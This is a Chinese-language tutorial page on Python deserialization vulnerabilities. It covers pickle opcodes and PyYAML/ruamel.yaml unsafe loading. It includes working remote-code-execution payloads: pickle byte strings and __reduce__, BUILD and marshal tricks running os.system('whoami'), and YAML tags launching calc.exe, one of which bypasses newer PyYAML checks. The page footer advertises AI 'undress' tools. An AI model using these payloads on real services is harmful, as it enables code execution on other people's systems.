目錄
#Python反序列化漏洞
Pickle
__reduce()__指令執行
全局变量覆盖
利用BUILD指令RCE(不使用R指令)
利用Marshal模块造成任意函数执行
漏洞出现位置
PyYAML
原理
Payload
PyYAML
ruamel.yaml
首頁 後端開發 Python教學 帶你去搞懂Python反序列化

帶你去搞懂Python反序列化

Mar 28, 2022 pm 12:12 PM
python

本篇文章為大家帶來了關於python的相關知識,其中主要介紹了關於反序列化的相關問題,反序列化:pickle.loads() 將字串反序列化為物件、pickle.load() 從檔案中讀取資料反序列化,希望對大家有幫助。

帶你去搞懂Python反序列化

推薦學習:python教學

#Python反序列化漏洞

Pickle

  • #序列化:pickle.dumps() 將物件序列化為字串、pickle.dump() 將物件序列化後的字串儲存為檔案
  • 反序列化:pickle.loads() 將字串反序列化為物件、pickle.load() 從檔案中讀取資料反序列化

使用dumps()loads() 時可以使用protocol 參數指定協定版本

協議有0,1,2,3,4,5號版本,不同的python 版本預設的協定版本不同。在這些版本中,0號是最可讀的,之後的版本為了優化加入了不可列印字元

協定是向下相容的,0號版本也可以直接使用

#可序列化的物件

  • NoneTrueFalse
  • 整數、浮點數、複數
  • str、byte、bytearray
  • 只包含可封存物件的集合,包括tuple、list、set 和dict
  • ##在模組最外層的函數(使用def 定義,lambda 函數則不行)
  • 定義在模組最外層的內建函數
  • 定義在模組最外層的類別
  • __dict__ 屬性值或__getstate__() 函數的回傳值可以被序列化的類別(詳見官方文件的Pickling Class Instances)

#反序列化流程

pickle.load()和pickle.loads()方法的底層實作是基於_Unpickler()方法來反序列化

在反序列化過程中,

_Unpickler(以下稱為機器吧)維護了兩個東西:堆疊區和儲存區

為了研究它,需要利用一個調試器

pickletools

#[外鏈圖片轉存失敗,來源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-wUDq6S9E-1642832623478)(C:\Users\Administrator\AppData\Roaming\Typora\typora -user-images\image-20220121114238511.png)]

從圖中可以看出,序列化後的字串其實就是一串PVM(Pickle Virtual Machine) 指令碼,指令碼以堆疊的形式儲存、解析

PVM指令集

完整PVM指令集可以在

pickletools.py 中查看,不同協定版本所使用的指令集略有不同

上圖中的指令碼可以翻譯成:

    0: \x80 PROTO      3  # 协议版本
    2: ]    EMPTY_LIST  # 将空列表推入栈
    3: (    MARK  # 将标志推入栈
    4: X        BINUNICODE 'a'  # unicode字符
   10: X        BINUNICODE 'b'
   16: X        BINUNICODE 'c'
   22: e        APPENDS    (MARK at 3)  # 将3号标准之后的数据推入列表
   23: .    STOP  # 弹出栈中数据,结束
highest protocol among opcodes = 2
登入後複製
指令集中有幾個重要的指令碼:

    GLOBAL = b'c ' # 將兩個以換行為結尾的字串推入棧,第一個是模組名,第二個是類別名,即可以呼叫全域變數
  • xxx.xxx 的值
  • REDUCE = b'R' # 將可呼叫元組和參數元組產生的物件推進棧,即
  • __reduce()傳回的第一個值作為可執行函數,第二個值為參數,執行函數
  • BUILD = b'b' # 透過
  • __setstate__或更新__dict__完成建構對象,如果物件具有__setstate__方法,則呼叫anyobject .__setstate__(參數);如果無__setstate__方法,則透過anyobject.__dict__.update(argument)更新值(更新可能會產生變數覆蓋)
  • STOP = b'.' # 結束
#一個更複雜的例子:

import pickleimport pickletoolsclass a_class():
    def __init__(self):
        self.age = 24
        self.status = 'student'
        self.list = ['a', 'b', 'c']a_class_new = a_class()a_class_pickle = pickle.dumps(a_class_new,protocol=3)print(a_class_pickle)# 优化一个已经被打包的字符串a_list_pickle = pickletools.optimize(a_class_pickle)print(a_class_pickle)# 反汇编一个已经被打包的字符串pickletools.dis(a_class_pickle)
登入後複製
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ a_class'
   20: )    EMPTY_TUPLE  # 将空元组推入栈
   21: \x81 NEWOBJ  # 表示前面的栈的内容为一个类(__main__ a_class),之后为一个元组(20行推入的元组),调用cls.__new__(cls, *args)(即用元组中的参数创建一个实例,这里元组实际为空)
   22: }    EMPTY_DICT  # 将空字典推入栈
   23: (    MARK
   24: X        BINUNICODE 'age'
   32: K        BININT1    24
   34: X        BINUNICODE 'status'
   45: X        BINUNICODE 'student'
   57: X        BINUNICODE 'list'
   66: ]        EMPTY_LIST
   67: (        MARK
   68: X            BINUNICODE 'a'
   74: X            BINUNICODE 'b'
   80: X            BINUNICODE 'c'
   86: e            APPENDS    (MARK at 67)
   87: u        SETITEMS   (MARK at 23)  # 将将从23行开始传入的值以键值对添加到现有字典中
   88: b    BUILD  # 更新字典完成构建
   89: .    STOP
highest protocol among opcodes = 2
登入後複製

常見的函數執行

與函數執行相關的PVM 指令集有三個:

Rio ,所以我們可以從三個方向進行建構:

R

b'''cos
system
(S'whoami'
tR.'''
登入後複製

#i

b'''(S'whoami'
ios
system
.'''
登入後複製

o

b'''(cos
system
S'whoami'
o.'''
登入後複製

__reduce()__指令執行

#__recude()__ 魔法函數會在反序列化過程結束時自動調用,並返回一個元組。其中,第一個元素是可調用對象,在創建該對象的最初版本時調用,第二個元素是可調用對象的參數,使得反序列化時可能造成RCE漏洞

觸發

__reduce()_ 的指令碼為``R,**只要在序列化中的字串中存在R指令**,reduce方法就會被執行,無論正常程式中是否寫明了reduce`方法

pickle 在反序列化時會

自動import 未引入的模組,所以python 標準函式庫中的所有程式碼執行、指令執行函式都可使用,但產生payload 的python 版本最好與目標一致

#例:

class a_class():
    def __reduce__(self):
        return os.system, ('whoami',)# __reduce__()魔法方法的返回值:# os.system, ('whoami',)# 1.满足返回一个元组,元组中至少有两个参数# 2.第一个参数是被调用函数 : os.system()# 3.第二个参数是一个元组:('whoami',),元组中被调用的参数 'whoami' 为被调用函数的参数# 4. 因此序列化时被解析执行的代码是 os.system('whoami')
登入後複製
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
b'\x80\x03cnt\nsystem\nX\x06\x00\x00\x00whoami\x85R.'
    0: \x80 PROTO      3
    2: c    GLOBAL     'nt system'
   13: X    BINUNICODE 'whoami'
   24: \x85 TUPLE1
   25: R    REDUCE
   26: .    STOP
highest protocol among opcodes = 2
登入後複製

将该字符串反序列化后将会执行命令 os.system('whoami')

全局变量覆盖

__reduce()_利用的是 R 指令码,造成REC,而利用 GLOBAL = b’c’ 指令码则可以触发全局变量覆盖

# secret.pya = aaaaaa
登入後複製
# unser.pyimport secretimport pickleclass flag():
    def __init__(self, a):
        self.a = a

your_payload = b'?'other_flag = pickle.loads(your_payload)secret_flag = flag(secret)if other_flag.a == secret_flag.a:
    print('flag:{}'.format(secret_flag.a))else:
    print('No!')
登入後複製

在不知道 secret.a 的情况下要如何获得 flag 呢?

先尝试获得 flag() 的序列化字符串:

class flag():
    def __init__(self, a):
        self.a = a
new_flag = pickle.dumps(Flag("A"), protocol=3)flag = pickletools.optimize(new_flag)print(flag)print(pickletools.dis(new_flag))
登入後複製
b'\x80\x03c__main__\nFlag\n)\x81}X\x01\x00\x00\x00aX\x01\x00\x00\x00Asb.'
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ Flag'
   17: q    BINPUT     0
   19: )    EMPTY_TUPLE
   20: \x81 NEWOBJ
   21: q    BINPUT     1
   23: }    EMPTY_DICT
   24: q    BINPUT     2
   26: X    BINUNICODE 'a'
   32: q    BINPUT     3
   34: X    BINUNICODE 'A'
   40: q    BINPUT     4
   42: s    SETITEM
   43: b    BUILD
   44: .    STOP
highest protocol among opcodes = 2
登入後複製

可以看到,在34行进行了传参,将变量 A 传入赋值给了a。若将 A 修改为全局变量 secret.a,即将 X BINUNICODE 'A' 改为 c GLOBAL 'secret a'(X\x01\x00\x00\x00A 改为 csecret\na\n)。将该字符串反序列化后,self.a 的值等于 secret.a 的值,成功获取 flag

除了改写 PVM 指令的方式外,还可以使用 exec 函数造成变量覆盖:

test1 = 'test1'test2 = 'test2'class A:
   def __reduce(self):
       retutn exec, "test1='asd'\ntest2='qwe'"
登入後複製

利用BUILD指令RCE(不使用R指令)

通过BUILD指令与GLOBAL指令的结合,可以把现有类改写为os.system或其他函数

假设某个类原先没有__setstate__方法,我们可以利用{'__setstate__': os.system}来BUILE这个对象

BUILD指令执行时,因为没有__setstate__方法,所以就执行update,这个对象的__setstate__方法就改为了我们指定的os.system

接下来利用'whoami'来再次BUILD这个对象,则会执行setstate('whoami'),而此时__setstate__已经被我们设置为os.system,因此实现了RCE

例:

代码中存在一个任意类:

class payload:
    def __init__(self):
        pass
登入後複製

根据这个类构造 PVM 指令:

    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ payload'
   17: q    BINPUT     0
   19: )    EMPTY_TUPLE
   20: \x81 NEWOBJ
   21: }    EMPTY_DICT  # 使用BUILD,先放入一个字典
   22: (    MARK  # 放值前先放一个标志
   23: V        UNICODE    '__setstate__'  # 放键值对
   37: c        GLOBAL     'nt system'
   48: u        SETITEMS   (MARK at 22)
   49: b    BUILD  # 第一次BUILD
   50: V    UNICODE    'whoami'  # 加参数
   58: b    BUILD  # 第二次BUILD
   59: .    STOP
登入後複製

将上述 PVM 指令改写成 bytes 形式:b'\x80\x03c__main__\npayload\n)\x81}(V__setstate__\ncnt\nsystem\nubVwhoami\nb.',使用 piclke.loads() 反序列化后成功执行命令

利用Marshal模块造成任意函数执行

pickle 不能将代码对象序列化,但 python 提供了一个可以序列化代码对象的模块 Marshal

但是序列化的代码对象不再能使用 __reduce()_ 调用,因为__reduce__是利用调用某个可调用对象并传递参数来执行的,而我们这个函数本身就是一个可调用对象 ,我们需要执行它,而不是将他作为某个函数的参数。隐藏需要利用 typres 模块来动态的创建匿名函数

import marshalimport typesdef code():
    import os    print('hello')
    os.system('whoami')code_pickle = base64.b64encode(marshal.dumps(code.__code__))  # python2为 code.func_codetypes.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')()  # 利用types动态创建匿名函数并执行
登入後複製

pickle 上使用:

import pickle# 将types.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')()改写为 PVM 的形式s = b"""ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'4wAAAAAAAAAAAAAAAAEAAAADAAAAQwAAAHMeAAAAZAFkAGwAfQB0AWQCgwEBAHwAoAJkA6EBAQBkAFMAKQRO6QAAAADaBWhlbGxv2gZ3aG9hbWkpA9oCb3PaBXByaW502gZzeXN0ZW0pAXIEAAAAqQByBwAAAPogRDovUHl0aG9uL1Byb2plY3QvdW5zZXJpYWxpemUucHnaBGNvZGUlAAAAcwYAAAAAAQgBCAE='
tRtRc__builtin__
globals
(tRS''
tR(tR."""pickle.loads(s)  # 字符串转换为 bytes
登入後複製

漏洞出现位置

  • 解析认证 token、session 时
  • 将对象 pickle 后存储在磁盘文件
  • 将对象 pickle 后在网络中传输
  • 参数传递给程序

PyYAML

yaml 是一种标记类语言,类似与 xmljson,各个支持yaml格式的语言都会有自己的实现来进行 yaml 格式的解析(读取和保存),PyYAML 就是 yaml 的 python 实现

在使用 PyYAML 库时,若使用了 yaml.load() 而不是 yaml.safe_load() 函数解析 yaml文件,则会导致反序列化漏洞的产生

原理

PyYAML 有针对 python 语言特有的标签解析的处理函数对应列表,其中有三个和对象相关:

!!python/object:          =>  Constructor.construct_python_object!!python/object/apply:    =>  Constructor.construct_python_object_apply!!python/object/new:      =>  Constructor.construct_python_object_new
登入後複製

例如:

# Test.pyimport yamlimport osclass test:
    def __init__(self):
        os.system('whoami')payload = yaml.dump(test())fp = open('sample.yml', 'w')fp.write(payload)fp.close()
登入後複製

该代码执行后,会生成 sample.yml ,并写入 !!python/object:__main__.test {}

将文件内容改为 !!python/object:Test.test {} 再使用 yaml.load() 解析该 yaml 文件:

import yaml
yaml.load(file('sample.yml', 'w'))
登入後複製

帶你去搞懂Python反序列化

命令成功执行。但是命令的执行依赖于 Test.py 的存在,因为 yaml.load() 时会根据yml文件中的指引去读取 Test.py 中的 test 这个对象(类)。如果删除 Test.py ,也将运行失败

Payload

PyYAML

想要消除依赖执行命令,就需要将其中的类或者函数换成 python 标准库中的类或函数,并使用另外两种 python 标签:

# 该标签可以在 PyYAML 解析再入 YAML 数据时,动态的创建 Python 对象!!python/object/apply:    =>  Constructor.construct_python_object_apply# 该标签会调用 apply!!python/object/new:      =>  Constructor.construct_python_object_new
登入後複製

利用这两个标签,就可以构造任意 payload:

!!python/object/apply:subprocess.check_output [[calc.exe]]!!python/object/apply:subprocess.check_output ["calc.exe"]!!python/object/apply:subprocess.check_output [["calc.exe"]]!!python/object/apply:os.system ["calc.exe"]!!python/object/new:subprocess.check_output [["calc.exe"]]!!python/object/new:os.system ["calc.exe"]
登入後複製

PyYAML >= 5.1

在版本 PyYAML >= 5.1 后,限制了反序列化内置类方法以及导入并使用不存在的反序列化代码,并且在使用 load() 方法时,需要加上 loader 参数,直接使用时会爆出安全警告

loader的四种类型:

  • BaseLoader:仅加载最基本的YAML
  • SafeLoader:安全地加载YAML语言的子集,建议用于加载不受信任的输入(safe_load)
  • FullLoader:加载完整的YAML语言,避免任意代码执行,这是当前(PyYAML 5.1)默认加载器调用yaml.load(input) (出警告后)(full_load)
  • UnsafeLoader(也称为Loader向后兼容性):原始的Loader代码,可以通过不受信任的数据输入轻松利用(unsafe_load)

在高版本中之前的 payload 已经失效,但可以使用 subporcess.getoutput() 方法绕过检测:

!!python/object/apply:subprocess.getoutput
- whoami
登入後複製

帶你去搞懂Python反序列化

在最新版本上,命令执行成功

ruamel.yaml

ruamel.yaml的用法和PyYAML基本一样,并且默认支持更新的YAML1.2版本

在ruamel.yaml中反序列化带参数的序列化类方法,有以下方法:

  • load(data)
  • load(data, Loader=Loader)
  • load(data, Loader=UnsafeLoader)
  • load(data, Loader=FullLoader)
  • load_all(data)
  • load_all(data, Loader=Loader)
  • load_all(data, Loader=UnSafeLoader)
  • load_all(data, Loader=FullLoader)

我们可以使用上述任何方法,甚至我们也可以通过提供数据来反序列化来直接调用load(),它将完美地反序列化它,并且我们的类方法将被执行

推荐学习:python学习教程

以上是帶你去搞懂Python反序列化的詳細內容。更多資訊請關注PHP中文網其他相關文章!

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

<🎜>:泡泡膠模擬器無窮大 - 如何獲取和使用皇家鑰匙
3 週前 By 尊渡假赌尊渡假赌尊渡假赌
北端:融合系統,解釋
3 週前 By 尊渡假赌尊渡假赌尊渡假赌
Mandragora:巫婆樹的耳語 - 如何解鎖抓鉤
3 週前 By 尊渡假赌尊渡假赌尊渡假赌

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

熱門話題

Java教學
1666
14
CakePHP 教程
1425
52
Laravel 教程
1325
25
PHP教程
1273
29
C# 教程
1252
24
PHP和Python:解釋了不同的範例 PHP和Python:解釋了不同的範例 Apr 18, 2025 am 12:26 AM

PHP主要是過程式編程,但也支持面向對象編程(OOP);Python支持多種範式,包括OOP、函數式和過程式編程。 PHP適合web開發,Python適用於多種應用,如數據分析和機器學習。

在PHP和Python之間進行選擇:指南 在PHP和Python之間進行選擇:指南 Apr 18, 2025 am 12:24 AM

PHP適合網頁開發和快速原型開發,Python適用於數據科學和機器學習。 1.PHP用於動態網頁開發,語法簡單,適合快速開發。 2.Python語法簡潔,適用於多領域,庫生態系統強大。

sublime怎麼運行代碼python sublime怎麼運行代碼python Apr 16, 2025 am 08:48 AM

在 Sublime Text 中運行 Python 代碼,需先安裝 Python 插件,再創建 .py 文件並編寫代碼,最後按 Ctrl B 運行代碼,輸出會在控制台中顯示。

Python vs. JavaScript:學習曲線和易用性 Python vs. JavaScript:學習曲線和易用性 Apr 16, 2025 am 12:12 AM

Python更適合初學者,學習曲線平緩,語法簡潔;JavaScript適合前端開發,學習曲線較陡,語法靈活。 1.Python語法直觀,適用於數據科學和後端開發。 2.JavaScript靈活,廣泛用於前端和服務器端編程。

PHP和Python:深入了解他們的歷史 PHP和Python:深入了解他們的歷史 Apr 18, 2025 am 12:25 AM

PHP起源於1994年,由RasmusLerdorf開發,最初用於跟踪網站訪問者,逐漸演變為服務器端腳本語言,廣泛應用於網頁開發。 Python由GuidovanRossum於1980年代末開發,1991年首次發布,強調代碼可讀性和簡潔性,適用於科學計算、數據分析等領域。

Golang vs. Python:性能和可伸縮性 Golang vs. Python:性能和可伸縮性 Apr 19, 2025 am 12:18 AM

Golang在性能和可擴展性方面優於Python。 1)Golang的編譯型特性和高效並發模型使其在高並發場景下表現出色。 2)Python作為解釋型語言,執行速度較慢,但通過工具如Cython可優化性能。

vscode在哪寫代碼 vscode在哪寫代碼 Apr 15, 2025 pm 09:54 PM

在 Visual Studio Code(VSCode)中編寫代碼簡單易行,只需安裝 VSCode、創建項目、選擇語言、創建文件、編寫代碼、保存並運行即可。 VSCode 的優點包括跨平台、免費開源、強大功能、擴展豐富,以及輕量快速。

notepad 怎麼運行python notepad 怎麼運行python Apr 16, 2025 pm 07:33 PM

在 Notepad 中運行 Python 代碼需要安裝 Python 可執行文件和 NppExec 插件。安裝 Python 並為其添加 PATH 後,在 NppExec 插件中配置命令為“python”、參數為“{CURRENT_DIRECTORY}{FILE_NAME}”,即可在 Notepad 中通過快捷鍵“F6”運行 Python 代碼。

See all articles